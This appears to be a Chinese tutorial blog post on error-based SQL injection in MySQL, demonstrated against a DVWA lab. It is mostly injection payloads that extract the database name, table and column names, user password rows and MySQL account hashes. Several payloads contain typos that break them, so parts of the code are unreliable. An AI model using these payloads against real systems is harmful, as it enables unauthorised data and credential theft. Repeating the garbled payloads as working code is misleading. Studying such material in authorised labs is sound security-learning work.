报错注入攻击原理:
数据库提示错误是指,数据库在执行时,遇到语法不对,会显示报错信息,比如错误语句:select’
在公司开发项目是通常程序开发期间需要告诉使用者某些报错信息,方便程序员进行调试修复,定位文件错误,而且开发中会经常使用异常处理函数,捕获错误信息,比如在PHP中 使用mysql_error()函数。如果SQL注入存在时,会有报错信息返回就可以采用报错注入进行攻击啦!!!
该函数会报错SQL语句
报错注入攻击:
在用户可控的情况下去输入单引号,如果报错可能存在报错注入,如果拼接SQL语句带入到MySQL执行即在报错注入。
输入1’and info() 显示当前数据库,原理的sql 语句是:
select first_name,last_name from user where user_id = ‘1’ and info()–
会报错显示出当前的数据库不存在这个函数 这样当前库名就显示在页面
语句的意思是在数据中不存在info()的话就会报错,导致当当前库显示出来
报错注入获取数据库敏感信息:
输入我们构造好的攻击语句进行获取报错返回页面信息数据库
比如:http://192.168.0.115/01/vulnerabilities/sqli/?id=1%27and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))–+&Submit=Submit#
但是虽然采用了updatexml报错函数但是该函数只能显示32长度的内容,如果获取的内长度超过32则不会显示,然而这时候就需要使用字符串截取方法了,每次能够获取32个字符串的长度。
MySQL有很多函数支持报错:updatexml() ,floor(), extractvalue() linestring() multipolygon() poolygon() multion()等
黑盒测试报错注入:
首先需要获取当前数据库,通过数据库获取表名,接着通过表名获取字段,最后获取字段的数据内容。
报错注入得到库名:
1’ and info()–+
1’ and (updatexml()1,concatt(0x7e,(selectt user()),0x7e,1))–+
就跟前面讲的报错注入攻击一样,测试号后得到库名:dvwa
报错注入获取MySQL账号密码:
获取账号密码需要使用root用户有足够大的权限
select authentication_string from mysql.user limit 1;
报错注入获取表名:
通过MySQL内置库 information_schema 通过构造SQL语句查询获取表名采用floor报错并不会存在长度问题
查询第一个表名:
1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
需要获取第二个表名的话可以在加粗那修改
报错注入获取字段:
获取到表名就可以接着获取字段了
1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=‘users’ LIMIT 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)–+
需要获取第二个字段的话可以在加粗那修改
报错注入获取表段内容:
1’and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)–+
注意带号的
总结:
这次带领大家了解了SQL报错注入详细原理和实际利用,有喜欢的可以点个关注!
我会持续更新质量更好的文章,后面会推出在实战过程中挖掘漏洞技巧的专栏
**声明:**本作者所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本作者不承担相应的后果。